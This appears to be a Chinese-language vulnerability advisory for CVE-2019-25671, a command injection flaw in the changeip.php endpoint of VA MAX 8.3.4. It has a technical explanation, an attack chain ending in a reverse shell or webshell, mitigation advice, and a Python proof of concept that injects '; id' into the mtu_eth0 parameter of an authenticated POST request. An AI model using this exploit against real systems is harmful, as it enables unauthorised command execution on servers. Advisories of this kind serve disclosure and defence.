CVE-2019-25671 CVSS 8.8 高危

CVE-2019-25671 VA MAX远程代码执行漏洞

披露日期: 2026-04-05

来源: [email protected]

漏洞信息

漏洞编号

CVE-2019-25671

漏洞类型

远程代码执行

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

VA MAX

漏洞概述

VA MAX 8.3.4 版本存在远程代码执行漏洞。由于 changeip.php 接口未正确过滤用户输入，经过身份验证的攻击者可向 mtu_eth0 参数注入 Shell 元字符。攻击者通过构造特制的 POST 请求，能够以 Apache 用户权限在服务器上执行任意系统命令，导致服务器被完全控制。

技术细节

该漏洞的核心在于 VA MAX 8.3.4 版本中 changeip.php 模块的不安全编程实践。开发人员直接将用户通过 POST 请求提交的 mtu_eth0 参数值传递给了底层的系统 Shell 执行环境，且未对输入内容进行任何形式的清洗或转义。根据 CVSS 3.1 评分，该漏洞需要低权限用户身份（PR:L）且无需用户交互（UI:N）。攻击者可以利用此漏洞，在 mtu_eth0 字段中注入恶意的 Shell 元字符（例如分号 ; 或管道符 |），从而拼接并执行任意操作系统命令。由于 Web 服务通常以 Apache 用户身份运行，攻击者将继承该用户的权限，进而可能读取敏感文件、安装后门或进一步横向移动，对系统的机密性、完整性和可用性造成严重影响。

攻击链分析

STEP 1

1. 信息收集

攻击者识别网络上运行 VA MAX 8.3.4 的目标设备。

STEP 2

2. 获取凭证

攻击者通过弱口令猜测或其他手段获取一个低权限账户的登录凭证（PR:L）。

STEP 3

3. 漏洞利用

攻击者向 /changeip.php 端点发送特制的 POST 请求，在 mtu_eth0 参数中注入恶意 Shell 命令。

STEP 4

4. 命令执行

服务器后端未过滤输入，直接执行攻击者注入的系统命令，以 Apache 用户权限返回结果。

STEP 5

5. 建立据点

攻击者利用执行权限反弹 Shell 或上传 Webshell，从而完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/usr/bin/env python3
import requests

# Target configuration
target_url = "http://<TARGET_IP>/changeip.php"
username = "<USERNAME>"
password = "<PASSWORD>"

# Vulnerable parameter and payload
# The payload injects a shell metacharacter to execute 'id' command
data_payload = {
    "mtu_eth0": "1500; id", # Injection point
    "other_param": "value"
}

try:
    # Send authenticated POST request
    response = requests.post(
        target_url,
        data=data_payload,
        auth=(username, password), # Adjust auth method based on actual app requirements
        timeout=10
    )

    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Response:")
        print(response.text)
    else:
        print("[-] Request failed with status code:", response.status_code)

except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

VA MAX 8.3.4

防御指南

临时缓解措施

如果无法立即升级，建议暂时禁用 changeip.php 相关功能或通过 WAF（Web应用防火墙）部署规则，拦截包含 Shell 元字符（如 ;, |, &, $, ()）的恶意请求。同时，应强制实施强密码策略，防止攻击者获取低权限账号。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表